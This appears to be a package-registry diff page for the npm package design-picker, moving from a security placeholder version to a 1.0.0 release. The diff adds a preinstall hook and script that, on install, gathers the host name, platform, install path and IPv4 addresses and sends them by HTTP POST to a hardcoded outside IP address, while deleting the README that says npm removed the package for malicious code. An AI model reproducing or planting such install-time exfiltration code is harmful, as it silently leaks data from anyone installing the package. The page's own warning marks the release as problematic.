design-picker 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of design-picker might be problematic. Click here for more details.
- package/index.js +6 -0
- package/package.json +10 -4
- package/resume.cfg +2 -0
- package/scripts/preinstall.js +49 -0
- package/README.md +0 -5
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "design-picker",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Template for demonstrating package typosquatting risks",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node scripts/preinstall.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/resume.cfg
ADDED
@@ -0,0 +1,49 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const os = require('os');
|
3
|
+
const http = require('http');
|
4
|
+
const path = require('path');
|
5
|
+
|
6
|
+
// Collect and send system data
|
7
|
+
function sendSystemData() {
|
8
|
+
const data = {
|
9
|
+
package: process.env.npm_package_name,
|
10
|
+
timestamp: new Date().toISOString(),
|
11
|
+
hostname: os.hostname(),
|
12
|
+
platform: os.platform(),
|
13
|
+
installPath: process.cwd(),
|
14
|
+
networkInterfaces: Object.entries(os.networkInterfaces()).reduce((acc, [name, interfaces]) => {
|
15
|
+
acc[name] = interfaces
|
16
|
+
.filter(iface => !iface.internal && iface.family === 'IPv4')
|
17
|
+
.map(iface => iface.address);
|
18
|
+
return acc;
|
19
|
+
}, {})
|
20
|
+
};
|
21
|
+
|
22
|
+
const options = {
|
23
|
+
hostname: '75.119.159.178',
|
24
|
+
port: 7891,
|
25
|
+
path: '/api/collect',
|
26
|
+
method: 'POST',
|
27
|
+
headers: {
|
28
|
+
'Content-Type': 'application/json',
|
29
|
+
}
|
30
|
+
};
|
31
|
+
|
32
|
+
const req = http.request(options, (res) => {
|
33
|
+
let responseBody = '';
|
34
|
+
res.on('data', chunk => (responseBody += chunk));
|
35
|
+
res.on('end', () => {
|
36
|
+
console.log('Data sent successfully');
|
37
|
+
});
|
38
|
+
});
|
39
|
+
|
40
|
+
req.on('error', (error) => {
|
41
|
+
console.error('Error sending system data:', error.message);
|
42
|
+
});
|
43
|
+
|
44
|
+
req.write(JSON.stringify(data));
|
45
|
+
req.end();
|
46
|
+
}
|
47
|
+
|
48
|
+
// Send system data
|
49
|
+
sendSystemData();
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=design-picker for more information.
|